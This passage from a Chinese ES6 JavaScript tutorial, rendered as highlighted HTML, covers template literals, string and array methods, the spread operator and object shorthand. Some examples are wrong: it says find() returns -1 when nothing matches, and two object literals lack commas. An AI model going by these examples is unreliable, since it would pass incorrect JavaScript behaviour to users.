js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> [a, b, c, d, e] = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// h</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// e</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c); <span class="comment">// l</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(d); <span class="comment">// l</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(e); <span class="comment">// o</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>把字符串转为数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">const</span> [...a] = <span class="string">&#x27;hello&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// [&quot;h&quot;, &quot;e&quot;, &quot;l&quot;, &quot;l&quot;, &quot;o&quot;]</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="字符串扩展"><a href="#字符串扩展" class="headerlink" title="字符串扩展"></a>字符串扩展</h1><h2 id="模板字符串"><a href="#模板字符串" class="headerlink" title="模板字符串"></a>模板字符串</h2><p><strong><code>模板字符串</code></strong> 用反引号（``）标识。它可以当作普通字符串使用，也可以用来定义多行字符串，或者在字符串中嵌入变量。</p><p><strong>字符串中嵌套变量</strong></p><p>原生JS写法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">var</span> b = <span class="number">2</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;a + b = &#x27;</span> + (a + b)); <span class="comment">// a + b = 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;my name is &#x27;</span>+ name + <span class="string">&#x27;and my age is &#x27;</span> + age); <span class="comment">// my name is A my age is 18</span></span><br></pre></td></tr></table></figure><p>ES6 写法</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 字符串中嵌入变量模板字符串中嵌入变量，需要将变量名写在 $&#123; &#125; 之中,可放入表达式</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">var</span> b = <span class="number">2</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`a + b = <span class="subst">$&#123;a + b&#125;</span>`</span>); <span class="comment">// a + b = 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`my name is <span class="subst">$&#123;name&#125;</span> and my age is <span class="subst">$&#123;age&#125;</span>`</span>); <span class="comment">// my name is A my age is 18</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123; </span><br><span class="line">    <span class="attr">a</span>: <span class="number">1</span>,</span><br><span class="line">    <span class="attr">b</span>: <span class="number">2</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`<span class="subst">$&#123;obj.a + obj.b&#125;</span>`</span>); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">fn</span> = (<span class="params">name</span>) =&gt; <span class="string">`Hello <span class="subst">$&#123;name&#125;</span>!`</span>;</span><br><span class="line"><span class="title function_">fn</span>(<span class="string">&#x27;abc&#x27;</span>); <span class="comment">// &quot;Hello abc!&quot;</span></span><br></pre></td></tr></table></figure><p><strong>可调用函数</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可以调用函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="string">`one <span class="subst">$&#123;fn()&#125;</span> one`</span></span><br><span class="line"><span class="comment">// one abc one</span></span><br></pre></td></tr></table></figure><p>注意：如果在模板字符串中需要使用反引号，则前面要用反斜杠转义</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="string">`\`Hello\` World!`</span>; <span class="comment">// `Hello` World!</span></span><br></pre></td></tr></table></figure><h2 id="字符串函数"><a href="#字符串函数" class="headerlink" title="字符串函数"></a>字符串函数</h2><table><thead><tr><th>函数</th><th>含义</th></tr></thead><tbody><tr><td>includes()</td><td>返回布尔值，表示是否找到了参数字符串</td></tr><tr><td>startsWith()</td><td>返回布尔值，表示参数字符串是否在原字符串的头部</td></tr><tr><td>endsWith()</td><td>返回布尔值，表示参数字符串是否在原字符串的尾部</td></tr></tbody></table><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;Hello world!&#x27;</span>;</span><br><span class="line">str.<span class="title function_">startsWith</span>(<span class="string">&#x27;Hello&#x27;</span>); <span class="comment">// true</span></span><br><span class="line">str.<span class="title function_">endsWith</span>(<span class="string">&#x27;!&#x27;</span>); <span class="comment">// true</span></span><br><span class="line">str.<span class="title function_">includes</span>(<span class="string">&#x27;o&#x27;</span>); <span class="comment">// true</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这三个方法都支持第二个参数，表示开始搜索的位置</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;Hello world!&#x27;</span>;</span><br><span class="line">str.<span class="title function_">startsWith</span>(<span class="string">&#x27;world&#x27;</span>, <span class="number">6</span>); <span class="comment">// true</span></span><br><span class="line">str.<span class="title function_">endsWith</span>(<span class="string">&#x27;Hello&#x27;</span>, <span class="number">5</span>); <span class="comment">// true</span></span><br><span class="line">str.<span class="title function_">includes</span>(<span class="string">&#x27;Hello&#x27;</span>, <span class="number">6</span>); <span class="comment">// false</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><table><thead><tr><th>函数</th><th>含义</th></tr></thead><tbody><tr><td>repeat()</td><td>字符串重复</td></tr><tr><td>padStart()</td><td></td></tr><tr><td>padEnd()</td><td></td></tr></tbody></table><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="title function_">repeat</span>(<span class="number">2</span>));<span class="comment">// abcabc</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>字符串填补（多用于日期：2019-09-01）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="keyword">let</span> str = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="title function_">padStart</span>(<span class="number">2</span>, <span class="string">&#x27;0&#x27;</span>)); <span class="comment">// 01</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="title function_">padStart</span>(<span class="number">3</span>, <span class="string">&#x27;0&#x27;</span>)); <span class="comment">// 001</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="title function_">padEnd</span>(<span class="number">2</span>, <span class="string">&#x27;0&#x27;</span>)); <span class="comment">// 10</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(str.<span class="title function_">padEnd</span>(<span class="number">3</span>, <span class="string">&#x27;0&#x27;</span>)); <span class="comment">// 100</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="数组的扩展"><a href="#数组的扩展" class="headerlink" title="数组的扩展"></a>数组的扩展</h1><p><strong>扩展运算符</strong>（spread）是三个点（…），它好比 rest 参数的逆运算，将一个数组转为用逗号分隔的参数序列</p><h2 id="扩展运算符"><a href="#扩展运算符" class="headerlink" title="扩展运算符"></a>扩展运算符</h2><p><strong>展开数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(...[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]); <span class="comment">// 1 2 3</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>, ...[<span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>], <span class="number">5</span>); <span class="comment">// 1 2 3 4 5</span></span><br></pre></td></tr></table></figure><p>注意，只有函数用时，扩展运算符才可以放在圆括号中</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(...[<span class="number">1</span>, <span class="number">2</span>]); <span class="comment">// 报错</span></span><br></pre></td></tr></table></figure><p><strong>数组合并</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> a = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">const</span> b = [<span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES5 的数组合并</span></span><br><span class="line">a.<span class="title function_">concat</span>(b); <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6 的数组合并</span></span><br><span class="line">[...a, ...b] <span class="comment">// [1, 2, 3, 4, 5, 6]</span></span><br></pre></td></tr></table></figure><p><strong>函数调用</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> arr = [<span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="title function_">add</span>(...arr); <span class="comment">// 5</span></span><br></pre></td></tr></table></figure><p>*<em>替代 apply *</em></p><p>由于扩展运算符可以展开数组，所以不再需要apply方法，将数组转为函数的参数了</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b, c</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b, c)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES5 的写法</span></span><br><span class="line">fn.<span class="title function_">apply</span>(<span class="literal">null</span>, arr); <span class="comment">// 1 2 3</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6的写法</span></span><br><span class="line"><span class="title function_">fn</span>(...arr); <span class="comment">// 1 2 3</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ES5 的写法</span></span><br><span class="line"><span class="title class_">Math</span>.<span class="property">max</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, [<span class="number">3</span>, <span class="number">9</span>, <span class="number">6</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6 的写法</span></span><br><span class="line"><span class="title class_">Math</span>.<span class="title function_">max</span>(...[<span class="number">3</span>, <span class="number">9</span>, <span class="number">6</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="title class_">Math</span>.<span class="title function_">max</span>(<span class="number">3</span>, <span class="number">9</span>, <span class="number">6</span>);</span><br></pre></td></tr></table></figure><p>将一个数组添加到另一个数组的尾部</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ES5的 写法</span></span><br><span class="line"><span class="keyword">var</span> arr1 = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">var</span> arr2 = [<span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">push</span>.<span class="title function_">apply</span>(arr1, arr2);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6 的写法</span></span><br><span class="line"><span class="keyword">let</span> arr1 = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">let</span> arr2 = [<span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line">arr1.<span class="title function_">push</span>(...arr2);</span><br></pre></td></tr></table></figure><p><strong>与解构赋值结合</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> [a, ...b] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">a <span class="comment">// 1</span></span><br><span class="line">b <span class="comment">// [2, 3]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> [a, ...b] = [];</span><br><span class="line">a <span class="comment">// undefined</span></span><br><span class="line">b <span class="comment">// []</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> [a, ...b] = [<span class="string">&quot;foo&quot;</span>];</span><br><span class="line">a  <span class="comment">// &quot;foo&quot;</span></span><br><span class="line">b  <span class="comment">// []</span></span><br></pre></td></tr></table></figure><p>如果将扩展运算符用于数组赋值，只能放在参数的最后一位，否则会报错</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> [...a, b] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]; <span class="comment">// 报错</span></span><br><span class="line"><span class="keyword">const</span> [a, ...b] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br></pre></td></tr></table></figure><p><strong>复制数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> a = [<span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"><span class="keyword">const</span> b = a;</span><br><span class="line"></span><br><span class="line">b[<span class="number">0</span>] = <span class="number">2</span>;</span><br><span class="line">a <span class="comment">// [2, 2]</span></span><br></pre></td></tr></table></figure><p>以下两种写法，不会修改原来的数组</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> a = [<span class="number">1</span>, <span class="number">2</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法一</span></span><br><span class="line"><span class="keyword">const</span> b = [...a];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写法二</span></span><br><span class="line"><span class="keyword">const</span> [...b] = a;</span><br><span class="line"></span><br><span class="line">b[<span class="number">0</span>] = <span class="number">2</span>;</span><br><span class="line">a <span class="comment">// [1, 2]</span></span><br></pre></td></tr></table></figure><p>不过，是浅拷贝，使用的时候需要注意</p><p><strong>将字符串转为真正的数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[...<span class="string">&#x27;hello&#x27;</span>]</span><br><span class="line"><span class="comment">// [ &quot;h&quot;, &quot;e&quot;, &quot;l&quot;, &quot;l&quot;, &quot;o&quot; ]</span></span><br></pre></td></tr></table></figure><h2 id="数组函数"><a href="#数组函数" class="headerlink" title="数组函数"></a>数组函数</h2><table><thead><tr><th>函数</th><th>含义</th></tr></thead><tbody><tr><td>includes()</td><td>方法返回一个<strong>布尔值</strong>，判断数组是否包含给定的值，与字符串的 includes 方法类似</td></tr><tr><td>find()</td><td>返回符合传入测试（函数）条件的数组元素</td></tr><tr><td>findIndex()</td><td>返回符合传入测试（函数）条件的数组元素索引</td></tr><tr><td>for…of</td><td>数组遍历</td></tr><tr><td>Array.of()</td><td>方法用于将一组值，转换为数组</td></tr></tbody></table><p><strong>includes()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">2</span>); <span class="comment">// true</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">4</span>); <span class="comment">// false</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="title class_">NaN</span>].<span class="title function_">includes</span>(<span class="title class_">NaN</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p>该方法的第二个参数表示搜索的起始位置，默认为 0。如果第二个参数为负数，则表示倒数的位置，如果这时它大于数组长度（比如第二个参数为 -4，但数组长度为 3 ），则会重置为从 0 开始</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">3</span>, <span class="number">3</span>); <span class="comment">// false</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">3</span>, -<span class="number">1</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>find() 和 findIndex()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">find</span>(<span class="function">(<span class="params">item</span>) =&gt;</span> item &gt; <span class="number">3</span>); <span class="comment">// 4  -可以看到只返回一个值</span></span><br><span class="line"></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">findIndex</span>(<span class="function">(<span class="params">item</span>) =&gt;</span> item &gt; <span class="number">3</span>); <span class="comment">// 3  -返回索引</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">find</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> item &gt; <span class="number">9</span>); <span class="comment">// -1  -所有成员都不符合条件，则返回-1</span></span><br></pre></td></tr></table></figure><p>两个方法都可以发现<code>NaN</code>，弥补了数组的<code>indexOf</code>方法的不足</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">[<span class="title class_">NaN</span>].<span class="title function_">indexOf</span>(<span class="title class_">NaN</span>); <span class="comment">// -1</span></span><br><span class="line">[<span class="title class_">NaN</span>].<span class="title function_">findIndex</span>(<span class="function"><span class="params">y</span> =&gt;</span> <span class="title class_">Object</span>.<span class="title function_">is</span>(<span class="title class_">NaN</span>, y)); <span class="comment">// 0</span></span><br></pre></td></tr></table></figure><p><strong>for … of数组遍历</strong></p><p>直接得到数组的值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">10</span>, <span class="number">20</span>, <span class="number">30</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 10</span></span><br><span class="line"><span class="comment">// 20</span></span><br><span class="line"><span class="comment">// 30</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [&#123;<span class="attr">a</span>: <span class="number">10</span>&#125;, &#123;<span class="attr">b</span>: <span class="number">20</span>&#125;, &#123;<span class="attr">c</span>: <span class="number">30</span>&#125;];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#123;a: 10&#125;</span></span><br><span class="line"><span class="comment">// &#123;b: 20&#125;</span></span><br><span class="line"><span class="comment">// &#123;c: 30&#125;</span></span><br></pre></td></tr></table></figure><p><code>keys()</code> 是对<strong>键名</strong>的遍历        <code>values()</code>是对<strong>值</strong>的遍历        <code>entries()</code> 是对<strong>键值对</strong>的遍历</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> index <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">keys</span>()) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(index);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 0</span></span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> val <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">values</span>()) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(val);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> [index, val] <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">entries</span>()) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(index, val);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 0 1</span></span><br><span class="line"><span class="comment">// 1 2</span></span><br></pre></td></tr></table></figure><p><strong>Array.of()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="number">3</span>); <span class="comment">// [3]</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(); <span class="comment">// []</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">of</span>(<span class="literal">undefined</span>); <span class="comment">// [undefined]</span></span><br></pre></td></tr></table></figure><p>与<code>Array()</code>的区别</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Array</span>(); <span class="comment">// []</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">3</span>); <span class="comment">// [, , ,]</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>); <span class="comment">// [1, 2, 3]</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Array</span>(<span class="literal">undefined</span>); <span class="comment">// [undefined]</span></span><br></pre></td></tr></table></figure><h1 id="对象的扩展"><a href="#对象的扩展" class="headerlink" title="对象的扩展"></a>对象的扩展</h1><h2 id="属性简写"><a href="#属性简写" class="headerlink" title="属性简写"></a>属性简写</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> foo = <span class="string">&#x27;bar&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> baz = &#123;foo&#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(baz) <span class="comment">// &#123;foo: &quot;bar&quot;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">const</span> baz = &#123;<span class="attr">foo</span>: foo&#125;;</span><br></pre></td></tr></table></figure><p>上面代码中，变量<code>foo</code>直接写在大括号里面。这时，属性名就是<code>变量名</code>, 属性值就是<code>变量值</code></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">let</span> b = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> es5 = &#123;</span><br><span class="line"><span class="attr">a</span>: a</span><br><span class="line"><span class="attr">b</span>: b</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> es6 = &#123;</span><br><span class="line">  a,</span><br><span class="line">  b</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(es6); <span class="comment">// &#123;a: 1, b: 2&#125;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> &#123;a, b&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> &#123;<span class="attr">a</span>: a, <span class="attr">b</span>: b&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>) <span class="comment">// &#123;a: 1, b: 2&#125;</span></span><br></pre></td></tr></table></figure><h2 id="方法简写"><a href="#方法简写" class="headerlink" title="方法简写"></a>方法简写</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> es6 = &#123;</span><br><span class="line"><span class="title function_">say</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&#x27;hello wrold&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">const</span> es5 = &#123;</span><br><span class="line">  <span class="attr">say</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;hello wrold&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h2 id="属性表达式"><a href="#属性表达式" class="headerlink" title="属性表达式"></a>属性表达式</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line">  <span class="keyword">let</span> es5 = &#123;</span><br><span class="line">    <span class="attr">a</span>:<span class="string">&#x27;c&#x27;</span></span><br><span class="line">    <span class="attr">b</span>:<span class="string">&#x27;c&#x27;</span></span><br><span class="line">  &#125;;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">let</span> es6 = &#123;</span><br><span class="line">   [a]:<span class="string">&#x27;c&#x27;</span> <span class="comment">// 相当于上面 b:&#x27;c&#x27;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="扩展运算符-1"><a href="#扩展运算符-1" class="headerlink" title="扩展运算符"></a>扩展运算符</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> &#123; a, b, ...c &#125; = &#123; <span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">c</span>: <span class="number">3</span>, <span class="attr">d</span>: <span class="number">4</span> &#125;;</span><br><span class="line">a <span class="comment">// 1</span></span><br><span class="line">b <span class="comment">// 2</span></span><br><span class="line">c <span class="comment">// &#123; c: 3, d: 4 &#125;</span></span><br></pre></td></tr></table></figure><p>由于解构赋值要求等号右边是一个对象，所以如果等号右边是<code>undefined</code>或<code>null</code>，就会报错，因为它们无法转为对象</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> &#123; ...a &#125; = <span class="literal">null</span>; <span class="comment">// 报错</span></span><br><span class="line"><span class="keyword">let</span> &#123; ...a &#125; = <span class="literal">undefined</span>; <span class="comment">// 报错</span></span><br></pre></td></tr></table></figure><p>解构赋值必须是最后一个参数，否则会报错</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> &#123; ...a, b, c &#125; = obj; <span class="comment">// 报错</span></span><br><span class="line"><span class="keyword">let</span> &#123; a, ...b, ...c &#125; = obj; <span class="comment">// 报错</span></span><br></pre></td></tr></table></figure><p>注意，解构赋值的拷贝是浅拷贝，即如果一个键的值是复合类型的值（数组、对象、函数）、那么解构赋值拷贝的是这个值的引用，而不是这个值的副本</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> obj = &#123; <span class="attr">a</span>: &#123; <span class="attr">b</span>: <span class="number">1</span> &#125; &#125;;</span><br><span class="line"><span class="keyword">let</span> &#123; ...newObj &#125; = obj;</span><br><span class="line">obj.<span class="property">a</span>.<span class="property">b</span> = <span class="number">2</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(newObj.<span class="property">a</span>.<span class="property">b</span>); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><h2 id="对象API"><a href="#对象API" class="headerlink" title="对象API"></a>对象API</h2><p>判断两个字符串是否相等</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="string">&#x27;abc&#x27;</span> === <span class="string">&#x27;abc&#x27;</span>; <span class="comment">// true</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">is</span>(<span 